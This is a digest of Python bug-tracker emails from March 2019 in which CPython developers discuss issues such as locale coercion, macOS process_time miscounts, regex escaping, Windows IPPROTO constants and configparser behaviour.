Date: Wed, 06 Mar 2019 01:22:48 +0000
Subject: [issue36202] Calling Py_DecodeLocale() before _PyPreConfig_Write()
 can produce mojibake
In-Reply-To: <1551833632.89.0.173170385409.issue36202@roundup.psfhosted.org>
Message-ID: <1551835368.16.0.355106505444.issue36202@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

By the way, according to Nick Coghlan (author of the PEP 538), Py_Initialize() and Py_Main() called from an application embedding Python should not coerce the C locale.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36202>
_______________________________________

From report at bugs.python.org  Tue Mar  5 20:35:04 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 01:35:04 +0000
Subject: [issue14385] Support other types than dict for __builtins__
In-Reply-To: <1332380135.46.0.264363154256.issue14385@psf.upfronthosting.co.za>
Message-ID: <1551836104.89.0.302605727115.issue14385@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

This issues is now closed. Please open a new issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue14385>
_______________________________________

From report at bugs.python.org  Tue Mar  5 20:36:39 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 01:36:39 +0000
Subject: [issue36177] test_io: test_daemon_threads_shutdown_stdout_deadlock()
 fails on x86 Windows7 3.x
In-Reply-To: <1551687644.98.0.586597497368.issue36177@roundup.psfhosted.org>
Message-ID: <1551836199.17.0.162751154158.issue36177@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> This is resolved with gh-12159, no?

I was waiting to see if buildbot workers feel better. It's the case, so I close the issue.

----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36177>
_______________________________________

From report at bugs.python.org  Tue Mar  5 20:37:08 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 01:37:08 +0000
Subject: [issue36114] test_multiprocessing_spawn dumps core in AMD64 FreeBSD
 CURRENT Shared 3.x
In-Reply-To: <1551161391.14.0.479239981135.issue36114@roundup.psfhosted.org>
Message-ID: <1551836228.85.0.368731995136.issue36114@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> This is resolved with gh-12159, no?

I was waiting to see if buildbot workers feel better. It's the case, so I close the issue.

----------
priority: release blocker -> normal
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36114>
_______________________________________

From report at bugs.python.org  Tue Mar  5 20:37:25 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 01:37:25 +0000
Subject: [issue36116] test_multiprocessing_spawn fails on AMD64 Windows8 3.x
In-Reply-To: <1551165223.62.0.963183120667.issue36116@roundup.psfhosted.org>
Message-ID: <1551836245.5.0.626834017912.issue36116@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> This is resolved with gh-12159, no?

I was waiting to see if buildbot workers feel better. It's the case, so I close the issue.

----------
priority: release blocker -> normal
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36116>
_______________________________________

From report at bugs.python.org  Tue Mar  5 20:54:38 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 01:54:38 +0000
Subject: [issue36144] Dictionary addition.
In-Reply-To: <1551327538.36.0.964853059958.issue36144@roundup.psfhosted.org>
Message-ID: <1551837278.22.0.894313723402.issue36144@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Is this issue directly or indirectly related to the PEP 584 "Add + and - operators to the built-in dict class"?
https://www.python.org/dev/peps/pep-0584/

----------
nosy: +vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36144>
_______________________________________

From report at bugs.python.org  Tue Mar  5 20:55:53 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 01:55:53 +0000
Subject: [issue36144] Dictionary addition. (PEP 584)
In-Reply-To: <1551327538.36.0.964853059958.issue36144@roundup.psfhosted.org>
Message-ID: <1551837353.29.0.369359809045.issue36144@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> Is this issue directly or indirectly related to the PEP 584 "Add + and - operators to the built-in dict class"?
> https://www.python.org/dev/peps/pep-0584/

Ah yes, it's written in the title of the PR. I add it to the bug title as well.

----------
title: Dictionary addition. -> Dictionary addition. (PEP 584)

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36144>
_______________________________________

From report at bugs.python.org  Tue Mar  5 20:55:57 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 01:55:57 +0000
Subject: [issue36144] Dictionary addition. (PEP 584)
In-Reply-To: <1551327538.36.0.964853059958.issue36144@roundup.psfhosted.org>
Message-ID: <1551837357.81.0.0245135103091.issue36144@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
nosy:  -vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36144>
_______________________________________

From report at bugs.python.org  Tue Mar  5 20:56:04 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 06 Mar 2019 01:56:04 +0000
Subject: [issue36201] AssertCountEqual does not work for nested dictionaries.
In-Reply-To: <1551832953.74.0.756790771637.issue36201@roundup.psfhosted.org>
Message-ID: <1551837364.76.0.0652580065965.issue36201@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

I believe this is outside the scope of what intended.   For the most part, the test methods need to be as direct and non-magical as possible so that we're clear on what is being tested.   Another issue with built in recursion is that different people have different notions of what is atomic, different notions of search order (depth first, breadth first, pre-order, in-order, post-order, etc), and different notions on maximum depth etc.  The unittest module leaves those decisions to the tester and instead focuses on simple and direct properties of objects under test.

----------
assignee:  -> michael.foord
nosy: +lisroach, michael.foord, rhettinger, vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36201>
_______________________________________

From report at bugs.python.org  Tue Mar  5 21:19:11 2019
From: report at bugs.python.org (Andrew Brezovsky)
Date: Wed, 06 Mar 2019 02:19:11 +0000
Subject: [issue29515] socket module missing IPPROTO_IPV6,
 IPPROTO_IPV4 on Windows
In-Reply-To: <1486664862.54.0.729311605676.issue29515@psf.upfronthosting.co.za>
Message-ID: <1551838751.52.0.948396648628.issue29515@roundup.psfhosted.org>


Andrew Brezovsky <abrezovsky at gmail.com> added the comment:

I see your point.

Then perhaps only a subset of the more vital ones get added to previous releases?

#define IPPROTO_IPV4 IPPROTO_IPV4
#define IPPROTO_IPV6 IPPROTO_IPV6
#define IPPROTO_TCP IPPROTO_TCP
#define IPPROTO_UDP IPPROTO_UDP
#define IPPROTO_ICMP IPPROTO_ICMP
#define IPPROTO_ICMPV6 IPPROTO_ICMPV6
#define IPPROTO_RAW IPPROTO_RAW

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29515>
_______________________________________

From report at bugs.python.org  Tue Mar  5 21:23:46 2019
From: report at bugs.python.org (Alexander Lopatin)
Date: Wed, 06 Mar 2019 02:23:46 +0000
Subject: [issue36205] Python 3.7 and 3.8 process_time is not reported
 correctly (twice then expected)
Message-ID: <1551839026.38.0.329984439989.issue36205@roundup.psfhosted.org>


New submission from Alexander Lopatin <nitapol at hotmail.com>:

I see this problem only on my iMac (macOS Mojave, Version 10.14.3). My Windows and Linux (CentOS) computers have no such problem.

I asked the question on Stack Overflow today, investigated, and reported here:
 
https://stackoverflow.com/questions/55008397/python-3-5-vs-3-7-process-time

To fix this problem: the build for macOS should be made with compiler Clang 10.0.0 (clang-1000.11.45.5). You made 3.7 and 3.8 with Clang 6.0 (clang-600.0.57). Of course, this could introduce new problems, but also fix some old ones.

----------
components: Build, Installation, macOS
messages: 337270
nosy: Nitapol, ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: Python 3.7 and 3.8 process_time is not reported correctly  (twice then expected)
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36205>
_______________________________________

From report at bugs.python.org  Tue Mar  5 21:28:17 2019
From: report at bugs.python.org (Lisa Roach)
Date: Wed, 06 Mar 2019 02:28:17 +0000
Subject: [issue36201] AssertCountEqual does not work for nested dictionaries.
In-Reply-To: <1551832953.74.0.756790771637.issue36201@roundup.psfhosted.org>
Message-ID: <1551839297.46.0.276661755326.issue36201@roundup.psfhosted.org>


Lisa Roach <lisaroach14 at gmail.com> added the comment:

I agree with Raymond, I think this might end up complicating things too much. It is common in the unit test library to only recurse one level deep and not assume too much about the intentions of the tester.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36201>
_______________________________________

From report at bugs.python.org  Tue Mar  5 21:39:37 2019
From: report at bugs.python.org (Lottie Price)
Date: Wed, 06 Mar 2019 02:39:37 +0000
Subject: [issue36206] re.match() not matching escaped hyphens
Message-ID: <1551839977.13.0.745695209115.issue36206@roundup.psfhosted.org>


New submission from Lottie Price <lprice at parc.com>:

Problem:

re.match("\\-", "\\-")

returns None.
I expected a match.

Context:

I have some random text strings I want to match against. I'm using re.escape() to ensure that the text characters are not interpreted as special characters:
      re.match(re.escape("-"), re.escape("-"))

As a result, strings with hyphens are coming back as above, and are not matching.

----------
components: Regular Expressions
messages: 337272
nosy: ezio.melotti, lprice, mrabarnett
priority: normal
severity: normal
status: open
title: re.match() not matching escaped hyphens
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36206>
_______________________________________

From report at bugs.python.org  Tue Mar  5 22:17:59 2019
From: report at bugs.python.org (Giampaolo Rodola')
Date: Wed, 06 Mar 2019 03:17:59 +0000
Subject: [issue29515] socket module missing IPPROTO_IPV6,
 IPPROTO_IPV4 on Windows
In-Reply-To: <1486664862.54.0.729311605676.issue29515@psf.upfronthosting.co.za>
Message-ID: <1551842279.42.0.452774419582.issue29515@roundup.psfhosted.org>


Giampaolo Rodola' <g.rodola at gmail.com> added the comment:

IPPROTO_TCP/UDP/RAW/ICMP are already there. AFAICT the only useful one here is IPPROTO_IPV6, because it's needed for enabling dual-stack. I don't think IPPROTO_IPV4 is a must (e.g. it's not available on Linux). Same for IPPROTO_ICMPV6. The only reason we may decide to backport one of these is because they are not officially documented (see issue27409). That gives us some flexibility but potentially it may do more harm than good because an app running on 3.7.3 would break on 3.7.2. Note: the original ticket (issue6926) is from 2009, meaning that whoever wanted these missing constants on Windows already hard-coded them in their Python code long ago.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29515>
_______________________________________

From report at bugs.python.org  Tue Mar  5 22:45:20 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Wed, 06 Mar 2019 03:45:20 +0000
Subject: [issue36206] re.match() not matching escaped hyphens
In-Reply-To: <1551839977.13.0.745695209115.issue36206@roundup.psfhosted.org>
Message-ID: <1551843920.3.0.824022952738.issue36206@roundup.psfhosted.org>


Josh Rosenberg <shadowranger+python at gmail.com> added the comment:

"\\-" is equivalent to the raw string r"\-" (that it, it has one backslash, followed by a hyphen). \X (where X is any ASCII non-letter, non-digit) matches the character itself (the escape does nothing except ensure the punctuation doesn't have any special regex meaning). So your pattern is equivalent to "-". Since re.match has an implicit anchor at the beginning of the string (making it roughly like "^-"), the string "\-" doesn't match.

Use raw strings consistently for your regular expressions to reduce the number of rounds of deescaping. re.match(r"\\-", "\\-") works as you expected.

----------
nosy: +josh.r

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36206>
_______________________________________

From report at bugs.python.org  Tue Mar  5 22:45:32 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Wed, 06 Mar 2019 03:45:32 +0000
Subject: [issue36206] re.match() not matching escaped hyphens
In-Reply-To: <1551839977.13.0.745695209115.issue36206@roundup.psfhosted.org>
Message-ID: <1551843932.08.0.839928504626.issue36206@roundup.psfhosted.org>


Change by Josh Rosenberg <shadowranger+python at gmail.com>:


----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36206>
_______________________________________

From report at bugs.python.org  Tue Mar  5 22:54:11 2019
From: report at bugs.python.org (Steven D'Aprano)
Date: Wed, 06 Mar 2019 03:54:11 +0000
Subject: [issue36206] re.match() not matching escaped hyphens
In-Reply-To: <1551839977.13.0.745695209115.issue36206@roundup.psfhosted.org>
Message-ID: <1551844451.61.0.0966493601051.issue36206@roundup.psfhosted.org>


Steven D'Aprano <steve+python at pearwood.info> added the comment:

You don't escape the text you are searching. Try this:

py> re.match(re.escape('-'), "-")
<_sre.SRE_Match object; span=(0, 1), match='-'>

py> re.match(re.escape('a-c'), "a-c")
<_sre.SRE_Match object; span=(0, 3), match='a-c'>

----------
nosy: +steven.daprano

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36206>
_______________________________________

From report at bugs.python.org  Tue Mar  5 22:57:00 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Wed, 06 Mar 2019 03:57:00 +0000
Subject: [issue36198] Misleading in library/sets document
In-Reply-To: <1551796490.3.0.534050934709.issue36198@roundup.psfhosted.org>
Message-ID: <1551844620.31.0.882758636016.issue36198@roundup.psfhosted.org>


Josh Rosenberg <shadowranger+python at gmail.com> added the comment:

The "returns" bit is accurate when referring to the in-place operator overloads (__ior__), so those lines may have been written referring to the overloads described on the same line (they shouldn't have been written that way, but that would explain why only the methods with in-place overload equivalents use the word "returns").

Either way, sets was deprecated in 2.6, largely pointless in every version but 2.3 (module added in 2.3, built-in set/frozenset types added 2.4), and gone in 3.0+ (and 2.7 is EOL within the year). Do we even do doc updates for stuff this dead?

----------
nosy: +josh.r

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36198>
_______________________________________

From report at bugs.python.org  Tue Mar  5 22:58:31 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Wed, 06 Mar 2019 03:58:31 +0000
Subject: [issue36158] Regex search behaves differently in list comprehension
In-Reply-To: <1551460917.2.0.142475833674.issue36158@roundup.psfhosted.org>
Message-ID: <1551844711.6.0.653671357434.issue36158@roundup.psfhosted.org>


Change by Josh Rosenberg <shadowranger+python at gmail.com>:


----------
status: open -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36158>
_______________________________________

From report at bugs.python.org  Tue Mar  5 22:58:43 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Wed, 06 Mar 2019 03:58:43 +0000
Subject: [issue36172] csv module internal consistency
In-Reply-To: <1551641825.06.0.900973165633.issue36172@roundup.psfhosted.org>
Message-ID: <1551844723.17.0.138103994695.issue36172@roundup.psfhosted.org>


Change by Josh Rosenberg <shadowranger+python at gmail.com>:


----------
status: open -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36172>
_______________________________________

From report at bugs.python.org  Tue Mar  5 23:50:49 2019
From: report at bugs.python.org (Ned Deily)
Date: Wed, 06 Mar 2019 04:50:49 +0000
Subject: [issue36205] Python 3.7 and 3.8 process_time is not reported
 correctly when built on older macOS versions
In-Reply-To: <1551839026.38.0.329984439989.issue36205@roundup.psfhosted.org>
Message-ID: <1551847849.08.0.0611391097505.issue36205@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

Thanks for your report.  There does indeed seem to be a problem but, as can be seen if you run your test from SO (please attach it to this issue!) with a current python.org 3.6.x installer for macOS which uses the same build infrastructure as the 3.7 and 3.8 installers, the results are correct.  The macOS Pythons from python.org are built to run on a range of OS versions: these days macOS 10.9+ or 10.6+.  Your test also fails when run on these earlier systems with 3.7.0 or later but not 3.6.8.  There were a number of changes made in 3.7 to the time module and underlying code in Python, specifically Python/pytime.c, so my guess is that the changes are depending on some feature or change that is in later versions of macOS since the expected results are obtained when built directly on and run on a current macOS version.  That needs to be fixed for 3.7.3.

I had time to run a quick check building on earlier macOS versions. It looks like the incorrect results show up when building on macOS 10.11.x and earlier.
10.12 through 10.14 have the correct results.  I don't have time to investigate further today.

BTW, it would be a good idea to adapt your test program as a test case, i.e. ensure the results are "close" to each other.

----------
components: +Interpreter Core -Build, Installation
nosy: +lukasz.langa, vstinner
priority: normal -> release blocker
stage:  -> needs patch
title: Python 3.7 and 3.8 process_time is not reported correctly  (twice then expected) -> Python 3.7 and 3.8 process_time is not reported correctly when built on older macOS versions

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36205>
_______________________________________

From report at bugs.python.org  Wed Mar  6 00:04:52 2019
From: report at bugs.python.org (Inada Naoki)
Date: Wed, 06 Mar 2019 05:04:52 +0000
Subject: [issue36162] error: implicit declaration of function 'sendfile' is
 invalid in C99
In-Reply-To: <1551477618.88.0.818331245279.issue36162@roundup.psfhosted.org>
Message-ID: <1551848692.05.0.752857733817.issue36162@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

May I close this issue?  I feel target SDK v21 is too old.

https://android-developers.googleblog.com/2017/12/improving-app-security-and-performance.html

----------
nosy: +inada.naoki

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36162>
_______________________________________

From report at bugs.python.org  Wed Mar  6 00:21:12 2019
From: report at bugs.python.org (Lisa Roach)
Date: Wed, 06 Mar 2019 05:21:12 +0000
Subject: [issue20774] collections.deque should ship with a stdlib json
 serializer
In-Reply-To: <1393362950.58.0.308283739635.issue20774@psf.upfronthosting.co.za>
Message-ID: <1551849672.66.0.955065571655.issue20774@roundup.psfhosted.org>


Lisa Roach <lisaroach14 at gmail.com> added the comment:

Serhiy might be right, it looks significantly worse with benchmarking:

lisroach$ python3 -m timeit "import json; json.dumps(['test'])"
100000 loops, best of 3: 2.73 usec per loop

lisroach$ ./python.exe -m timeit "import json; json.dumps(['test'])"
10000 loops, best of 5: 21.2 usec per loop

lisroach$ python3 -m timeit "import json; json.dumps(10000)"
100000 loops, best of 3: 2.49 usec per loop

lisroach$ ./python.exe -m timeit "import json; json.dumps(10000)"
20000 loops, best of 5: 16.3 usec per loop

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue20774>
_______________________________________

From report at bugs.python.org  Wed Mar  6 00:24:43 2019
From: report at bugs.python.org (Han)
Date: Wed, 06 Mar 2019 05:24:43 +0000
Subject: [issue36198] Misleading in library/sets document
In-Reply-To: <1551796490.3.0.534050934709.issue36198@roundup.psfhosted.org>
Message-ID: <1551849883.87.0.955389759718.issue36198@roundup.psfhosted.org>


Han <phoenix.seek at gmail.com> added the comment:

Thanks, I didn't notice the Deprecated sign on the Sets page.

----------
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36198>
_______________________________________

From report at bugs.python.org  Wed Mar  6 00:40:38 2019
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 06 Mar 2019 05:40:38 +0000
Subject: [issue36202] Calling Py_DecodeLocale() before _PyPreConfig_Write()
 can produce mojibake
In-Reply-To: <1551833632.89.0.173170385409.issue36202@roundup.psfhosted.org>
Message-ID: <1551850838.48.0.114706705769.issue36202@roundup.psfhosted.org>


Nick Coghlan <ncoghlan at gmail.com> added the comment:

They weren't *intended* to change it, and didn't in the original implementation of the PEP, but they do in the as-shipped Python 3.7 implementation, and I abandoned my attempts to revert to the as-designed behaviour as impractical given the other changes made for PEP 540. So that's a behavior we're stuck with now: they both have global side effects on the locale of the calling process.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36202>
_______________________________________

From report at bugs.python.org  Wed Mar  6 01:30:12 2019
From: report at bugs.python.org (Inada Naoki)
Date: Wed, 06 Mar 2019 06:30:12 +0000
Subject: [issue35838] ConfigParser calls optionxform twice when assigning dict
In-Reply-To: <1548628021.95.0.834258344082.issue35838@roundup.psfhosted.org>
Message-ID: <1551853812.79.0.569895217478.issue35838@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

It seems twice call of `optionxform` is not avoidable when read-and-write workflow.
I'm not against about fixing readdict.
But I don't think configparser supports non-idempotent optionxform.

>>> import configparser
>>> cfg = configparser.ConfigParser()
>>> cfg.optionxform = lambda s: "#"+s
>>> cfg.add_section("sec")
>>> cfg.set("sec", "foo", "1")
>>> cfg["sec2"] = cfg["sec"]
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/Users/inada-n/work/python/cpython/Lib/configparser.py", line 974, in __setitem__
    self.read_dict({key: value})
  File "/Users/inada-n/work/python/cpython/Lib/configparser.py", line 747, in read_dict
    for key, value in keys.items():
  File "/Users/inada-n/work/python/cpython/Lib/_collections_abc.py", line 744, in __iter__
    yield (key, self._mapping[key])
  File "/Users/inada-n/work/python/cpython/Lib/configparser.py", line 1254, in __getitem__
    raise KeyError(key)
KeyError: '#foo'

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35838>
_______________________________________

From report at bugs.python.org  Wed Mar  6 02:38:12 2019
From: report at bugs.python.org (SilentGhost)
Date: Wed, 06 Mar 2019 07:38:12 +0000
Subject: [issue36203] PyWeakref_NewRef docs are misleading
In-Reply-To: <1551834230.67.0.926562735048.issue36203@roundup.psfhosted.org>
Message-ID: <1551857892.91.0.519424030007.issue36203@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
assignee:  -> docs at python
components: +Documentation, ctypes
nosy: +docs at python
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36203>
_______________________________________

From report at bugs.python.org  Wed Mar  6 02:39:28 2019
From: report at bugs.python.org (Pradyun Gedam)
Date: Wed, 06 Mar 2019 07:39:28 +0000
Subject: [issue35807] Update bundled pip to 19.0
In-Reply-To: <1548185823.13.0.177750416451.issue35807@roundup.psfhosted.org>
Message-ID: <1551857968.11.0.83508503458.issue35807@roundup.psfhosted.org>


Change by Pradyun Gedam <pradyunsg at gmail.com>:


----------
keywords: +patch
pull_requests: +12184
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35807>
_______________________________________

From report at bugs.python.org  Wed Mar  6 03:48:44 2019
From: report at bugs.python.org (muhzi)
Date: Wed, 06 Mar 2019 08:48:44 +0000
Subject: [issue36162] error: implicit declaration of function 'sendfile' is
 invalid in C99
In-Reply-To: <1551477618.88.0.818331245279.issue36162@roundup.psfhosted.org>
Message-ID: <1551862124.77.0.841074040223.issue36162@roundup.psfhosted.org>


muhzi <air.oamyst517 at yahoo.com> added the comment:

Yeah, makes sense

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36162>
_______________________________________

From report at bugs.python.org  Wed Mar  6 04:18:39 2019
From: report at bugs.python.org (Peter Otten)
Date: Wed, 06 Mar 2019 09:18:39 +0000
Subject: [issue36193] Redirected stderr not reset properly when using logging
In-Reply-To: <1551784639.74.0.156563550591.issue36193@roundup.psfhosted.org>
Message-ID: <1551863919.64.0.862520048192.issue36193@roundup.psfhosted.org>


Peter Otten <__peter__ at web.de> added the comment:

[Andrius]
> So it is not possible to consistently manage stderr when it involves > logging library without explicitly "manage" it?

That's what I think, at least from within a script. To me redirect_xxx() always looked like a workaround to have old code write to a destination that was unforeseen in the initial design. I prefer

dump_stuff(dest)

to

with redirect_stdout(dest):
   dump_stuff()

That said -- do you have a suggestion how the logging library could be adapted to work smoothly with redirect_xxx()?

(A compelling use case would also be nice, but note that I'm not the one who makes the decisions.)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36193>
_______________________________________

From report at bugs.python.org  Wed Mar  6 04:42:01 2019
From: report at bugs.python.org (wats0ns)
Date: Wed, 06 Mar 2019 09:42:01 +0000
Subject: [issue36207] robotsparser deny all with some rules
Message-ID: <1551865321.24.0.407834320039.issue36207@roundup.psfhosted.org>


New submission from wats0ns <quentin.maire at protonmail.ch>:

RobotsParser parse a "Disallow: ?" rule as a deny all, but this is a valid rule that should be interpreted as "Disallow: /?*" or "Disallow: /*?*"

----------
components: Library (Lib)
messages: 337285
nosy: quentin-maire
priority: normal
severity: normal
status: open
title: robotsparser deny all with some rules
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36207>
_______________________________________

From report at bugs.python.org  Wed Mar  6 04:47:28 2019
From: report at bugs.python.org (Joris VAN HOUTVEN)
Date: Wed, 06 Mar 2019 09:47:28 +0000
Subject: [issue36196] sys.executable does not return python3 executable when
 using uwsgi
In-Reply-To: <1551796286.02.0.860933813615.issue36196@roundup.psfhosted.org>
Message-ID: <1551865648.03.0.3264641341.issue36196@roundup.psfhosted.org>


Joris VAN HOUTVEN <joris.vanhoutven at uhasselt.be> added the comment:

OK, so it is indeed uwsgi interfering with the sys.executable value.
In the github pst Inada Naoki refers to:

  "uwsgi is your current python interpreter, as it links the libpython.so. Getting sys.executable is not possibile as there is no binary path hard-encoded in library by itself"

So I suppose this issue can be closed here. I will comment on the uwsgi github.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36196>
_______________________________________

From report at bugs.python.org  Wed Mar  6 05:02:42 2019
From: report at bugs.python.org (Inada Naoki)
Date: Wed, 06 Mar 2019 10:02:42 +0000
Subject: [issue36196] sys.executable does not return python3 executable when
 using uwsgi
In-Reply-To: <1551796286.02.0.860933813615.issue36196@roundup.psfhosted.org>
Message-ID: <1551866562.64.0.065167771211.issue36196@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36196>
_______________________________________

From report at bugs.python.org  Wed Mar  6 05:02:51 2019
From: report at bugs.python.org (Inada Naoki)
Date: Wed, 06 Mar 2019 10:02:51 +0000
Subject: [issue36196] sys.executable does not return python3 executable when
 using uwsgi
In-Reply-To: <1551796286.02.0.860933813615.issue36196@roundup.psfhosted.org>
Message-ID: <1551866571.43.0.9260961852.issue36196@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
resolution: fixed -> not a bug

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36196>
_______________________________________

From report at bugs.python.org  Wed Mar  6 05:09:08 2019
From: report at bugs.python.org (Joannah Nanjekye)
Date: Wed, 06 Mar 2019 10:09:08 +0000
Subject: [issue36191] pubkeys.txt contains bogus keys
In-Reply-To: <1551739151.95.0.42643346766.issue36191@roundup.psfhosted.org>
Message-ID: <1551866948.84.0.430026824238.issue36191@roundup.psfhosted.org>


Joannah Nanjekye <nanjekyejoannah at gmail.com> added the comment:

Agreed @xtreak, I have moved this issue to the respective Github repository https://github.com/python/pythondotorg/issues/1395 .

I will close this issue.

----------
nosy: +nanjekyejoannah

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36191>
_______________________________________

From report at bugs.python.org  Wed Mar  6 05:13:13 2019
From: report at bugs.python.org (Inada Naoki)
Date: Wed, 06 Mar 2019 10:13:13 +0000
Subject: [issue36162] error: implicit declaration of function 'sendfile' is
 invalid in C99
In-Reply-To: <1551477618.88.0.818331245279.issue36162@roundup.psfhosted.org>
Message-ID: <1551867193.88.0.90577139815.issue36162@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
resolution:  -> wont fix
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36162>
_______________________________________

From report at bugs.python.org  Wed Mar  6 05:14:17 2019
From: report at bugs.python.org (Joannah Nanjekye)
Date: Wed, 06 Mar 2019 10:14:17 +0000
Subject: [issue36191] pubkeys.txt contains bogus keys
In-Reply-To: <1551739151.95.0.42643346766.issue36191@roundup.psfhosted.org>
Message-ID: <1551867257.57.0.571925782983.issue36191@roundup.psfhosted.org>


Change by Joannah Nanjekye <nanjekyejoannah at gmail.com>:


----------
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36191>
_______________________________________

From report at bugs.python.org  Wed Mar  6 05:15:32 2019
From: report at bugs.python.org (Inada Naoki)
Date: Wed, 06 Mar 2019 10:15:32 +0000
Subject: [issue30766] Make CHECK_STATUS_PTHREAD signal-safe
In-Reply-To: <1498480849.13.0.653593799418.issue30766@psf.upfronthosting.co.za>
Message-ID: <1551867332.02.0.903475591252.issue30766@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

May I close this issue?

----------
nosy: +inada.naoki

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30766>
_______________________________________

From report at bugs.python.org  Wed Mar  6 05:34:18 2019
From: report at bugs.python.org (Jan Seeger)
Date: Wed, 06 Mar 2019 10:34:18 +0000
Subject: [issue36208] AsyncIO V4MAPPED addresses with V6ONLY.
Message-ID: <1551868458.12.0.248944405663.issue36208@roundup.psfhosted.org>


New submission from Jan Seeger <jan.seeger+python at thenybble.de>:

I'm working with aiocoap, which uses the AI_V4MAPPED flag to use IPv4-mapped addresses for dual-stack support. When trying to run on Windows, creating a connection fails, because the socket option IPV6_V6ONLY is set to true per default on Windows, whereas the value is configurable on Linux. I've attached a file that should reproduce the error.

A possible fix would be calling socket.setsockopt(socket.IPPROTO_IPV6,
socket.IPV6_V6ONLY, False) when V4-mapped addresses have been requested
(this bug can also appear on Linux when /proc/sys/net/ipv6/bindv6only
contains 1).

If you require any more information, feel free to contact me!

----------
